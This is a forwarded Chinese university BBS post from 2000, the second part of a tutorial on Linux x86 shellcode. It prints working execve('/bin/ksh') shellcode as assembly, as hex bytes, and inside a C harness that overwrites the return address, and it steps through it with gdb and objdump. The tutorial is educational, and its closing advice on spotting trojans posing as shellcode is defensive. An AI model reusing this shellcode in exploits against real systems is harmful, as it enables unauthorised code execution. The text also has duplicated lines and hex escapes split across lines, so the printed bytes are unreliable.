荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Lg (创造人生的传奇), 信区: Linux
标  题: shellcode技术探讨之(2)(fwd)
发信站: BBS 荔园晨风站 (Fri Jan 21 22:33:58 2000), 站内信件

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: cloudsky (小四), 信区: Security
标  题: shellcode技术探讨之(2)(fwd)
发信站: 武汉白云黄鹤站 (Mon Jan 17 13:27:08 2000), 站内信件

标题:shellcode技术探讨之(2)

概述:

    本文旨在验证前文几个问题所在,当时我在一旁加了注解,
    可能有朋友觉得理解有点问题,看了这篇就没问题了。
    还有就是针对以前有人问过的,如何得到shellcode的汇编
    代码,给出了实际例子。文中详细注解了使用到的gdb命令
    集合,如果你用过debug/softice,就很容易理解。不过说
    实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
    好用过dbx。

测试:

    RedHat 6.0/Intel PII

目录:

    1. 验证exit()不是必要的
    1. 验证exit()不是必要的
    2. vi shelltest.c
    3. gdb使用举例(待增加)
    4. 利用objdump直接查看shellcode的汇编代码
    5. 使用外来shellcode时要注意的问题

1. 验证exit()不是必要的

shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。

vi shellcodeasm.c

int main ()
{
    __asm__
    ("
        jmp    0x18                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        call   -0x1d                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
                                        # 41 bytes total
    ");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main

objdump -j .text -Sl shellcodeasm | more
/main

08048398 <main>:
08048398 <main>:
main():
/home/scz/src/shellcodeasm.c:2
{
 8048398:       55                      pushl  %ebp
 8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
 804839b:       eb 18                   jmp    80483b5 <main+0x1d>
 804839d:       5e                      popl   %esi
 804839e:       89 76 09                movl   %esi,0x9(%esi)
 80483a1:       31 c0                   xorl   %eax,%eax
 80483a3:       88 46 08                movb   %al,0x8(%esi)
 80483a6:       89 46 0d                movl   %eax,0xd(%esi)
 80483a9:       b0 0b                   movb   $0xb,%al
 80483ab:       89 f3                   movl   %esi,%ebx
 80483ad:       8d 4e 09                leal   0x9(%esi),%ecx
 80483b0:       8d 56 0d                leal   0xd(%esi),%edx
 80483b3:       cd 80                   int    $0x80
 80483b5:       e8 e3 ff ff ff          call   804839d <main+0x5>
 80483ba:       2f                      das
 80483bb:       62 69 6e                boundl 0x6e(%ecx),%ebp
 80483be:       2f                      das
 80483be:       2f                      das
 80483bf:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:20
    ("
        jmp    0x18                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        call   -0x1d                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
                                        # 41 bytes total
    ");
}
 80483c3:       c9                      leave
 80483c4:       c3                      ret
 80483c5:       90                      nop
 80483c5:       90                      nop

整理shellcode如下:

eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09
8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

2. vi shelltest.c

char shellcode[] =
    "\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\xd
\x4e\x09"
    "\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x0
\xc9\xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的?
步 */
}
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
了几个字节的。

3. gdb使用举例(待增加)

[scz@ /home/scz/src]> gdb shelltest
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 <main>:       pushl  %ebp
0x8048399 <main+1>:     movl   %esp,%ebp
0x804839b <main+3>:     subl   $0x4,%esp
0x804839e <main+6>:     leal   0xfffffffc(%ebp),%eax
0x80483a1 <main+9>:     leal   0x8(%eax),%edx
0x80483a1 <main+9>:     leal   0x8(%eax),%edx
0x80483a4 <main+12>:    movl   %edx,0xfffffffc(%ebp)
0x80483a7 <main+15>:    movl   0xfffffffc(%ebp),%eax
0x80483aa <main+18>:    movl   $0x8049440,(%eax)
0x80483b0 <main+24>:    leave
0x80483b1 <main+25>:    ret
End of assembler dump.
(gdb) break main < -- -- -- 设置断点
Breakpoint 1 at 0x804839e
(gdb) run < -- -- -- 运行
Starting program: /home/scz/src/shelltest

Breakpoint 1, 0x804839e in main ()
(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
Continuing at 0x80483a4.

Program exited with code 064.
(gdb) info bre < -- -- -- 查看断点
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x0804839e  <main+6>
        breakpoint already hit 1 time
(gdb) kill < -- -- -- 终止调试当前程序
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) break *main+18
Breakpoint 2 at 0x80483aa
(gdb) inf b
Num Type           Disp Enb Address    What
2   breakpoint     keep y   0x080483aa  <main+18>
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/scz/src/shelltest

Breakpoint 2, 0x80483aa in main ()
(gdb) inf reg < -- -- -- 查看寄存器
     eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
     ecx:  0x8048398   134513560
     edx: 0xbffffd0c -1073742580
     ebx: 0x401041b4  1074807220
     esp: 0xbffffd04 -1073742588
     ebp: 0xbffffd08 -1073742584
     esi: 0xbffffd54 -1073742508
     edi:        0x1           1
     eip:  0x80483aa   134513578 < -- -- -- 注意这里eip等于断点地址
  eflags:      0x282 IOPL: 0; flags: SF IF
  eflags:      0x282 IOPL: 0; flags: SF IF
orig_eax: 0xffffffff          -1
      cs:       0x23          35
      ss:       0x2b          43
      ds:       0x2b          43
      es:       0x2b          43
      fs:        0x0           0
      gs:        0x0           0
(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
0xbffffcf8:     0x08    0xfd    0xff    0xbf    0x8b    0x83    0x04    0x08
0xbffffd00:     0x6c    0x94    0x04    0x08    0x0c    0xfd    0xff    0xbf
0xbffffd08:     0x28    0xfd    0xff    0xbf    0xb3    0x1c    0x03    0x40
0xbffffd10:     0x01    0x00    0x00    0x00    0x54    0xfd    0xff    0xbf
(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
0x80483b0 in main ()
(gdb) inf reg
     eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
     ecx:  0x8048398   134513560
     edx: 0xbffffd0c -1073742580
     ebx: 0x401041b4  1074807220
     esp: 0xbffffd04 -1073742588
     ebp: 0xbffffd08 -1073742584
     esi: 0xbffffd54 -1073742508
     esi: 0xbffffd54 -1073742508
     edi:        0x1           1
     eip:  0x80483b0   134513584 < -- -- -- eip变更
  eflags:      0x382 IOPL: 0; flags: SF TF IF
orig_eax: 0xffffffff          -1
      cs:       0x23          35
      ss:       0x2b          43
      ds:       0x2b          43
      es:       0x2b          43
      fs:        0x0           0
      gs:        0x0           0
(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
0xbffffd0c:     0x40    0x94    0x04    0x08
(gdb) stepi
0x80483b1 in main ()
(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
0x8049440 in shellcode ()
(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
Dump of assembler code from 0x8049440 to 0x804945f:
0x8049440 <shellcode>:  jmp    0x804945a <shellcode+26>
0x8049442 <shellcode+2>:        popl   %esi
0x8049443 <shellcode+3>:        movl   %esi,0x9(%esi)
0x8049446 <shellcode+6>:        xorl   %eax,%eax
0x8049446 <shellcode+6>:        xorl   %eax,%eax
0x8049448 <shellcode+8>:        movb   %al,0x8(%esi)
0x804944b <shellcode+11>:       movl   %eax,0xd(%esi)
0x804944e <shellcode+14>:       movb   $0xb,%al
0x8049450 <shellcode+16>:       movl   %esi,%ebx
0x8049452 <shellcode+18>:       leal   0x9(%esi),%ecx
0x8049455 <shellcode+21>:       leal   0xd(%esi),%edx
0x8049458 <shellcode+24>:       int    $0x80
0x804945a <shellcode+26>:       call   0x8049442 <shellcode+2>
End of assembler dump.
(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
0x804945f <shellcode+31>:        "/bin/ksh"
... ...
(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
0x8049450 in shellcode ()
(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
0x804945f <shellcode+31>:       0x2f    0x62    0x69    0x6e    0x2f    0x6b   0
x73    0x68
0x8049467 <shellcode+39>:       0x00    0x5f    0x94    0x04    0x08    0x00   0
x00    0x00
                                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(gdb) quit
The program is running.  Exit anyway? (y or n) y
The program is running.  Exit anyway? (y or n) y
[scz@ /home/scz/src]>

啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。

4. 利用objdump直接查看shellcode的汇编代码

objdump -j .data -D shelltest | more
/shellcode

08049440 <shellcode>:
 8049440:       eb 18                   jmp    804945a <shellcode+0x1a>
 8049442:       5e                      popl   %esi
 8049443:       89 76 09                movl   %esi,0x9(%esi)
 8049446:       31 c0                   xorl   %eax,%eax
 8049448:       88 46 08                movb   %al,0x8(%esi)
 804944b:       89 46 0d                movl   %eax,0xd(%esi)
 804944e:       b0 0b                   movb   $0xb,%al
 8049450:       89 f3                   movl   %esi,%ebx
 8049452:       8d 4e 09                leal   0x9(%esi),%ecx
 8049455:       8d 56 0d                leal   0xd(%esi),%edx
 8049455:       8d 56 0d                leal   0xd(%esi),%edx
 8049458:       cd 80                   int    $0x80
 804945a:       e8 e3 ff ff ff          call   8049442 <shellcode+0x2>
 804945f:       2f                      das
 8049460:       62 69 6e                boundl 0x6e(%ecx),%ebp
 8049463:       2f                      das
 8049464:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
 8049468:       c9                      leave
 8049469:       c3                      ret

[scz@ /home/scz/src]> objdump -j .data -s shelltest | more

shelltest:     file format elf32-i386

Contents of section .data:
 8049420 00000000 7c940408 00000000 00000000  ....|...........
 8049430 00000000 00000000 00000000 00000000  ................
 8049440 eb185e89 760931c0 88460889 460db00b  ..^.v.1..F..F...
 8049450 89f38d4e 098d560d cd80e8e3 ffffff2f  ...N..V......../
 8049460 62696e2f 6b736800 c9c30000           bin/ksh.....
[scz@ /home/scz/src]>

5. 使用外来shellcode时要注意的问题
 8049440 eb185e89 760931c0 88460889 460db00b  ..^.v.1..F..F...

我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
还是木马。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
使用前面已经给了不少例子,完整的说明请查看我贴过的
<<objdump的使用(修订I)>>
--
            我问飘逝的风:来迟了?
            风感慨:是的,他们已经宣战。
            我问苏醒的大地:还有希望么?
            大地揉了揉眼睛:还有,还有无数代的少年。
            我问长空中的英魂:你们相信?
            英魂带着笑意离去:相信,希望还在。

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.28]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 210.39.3.97]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店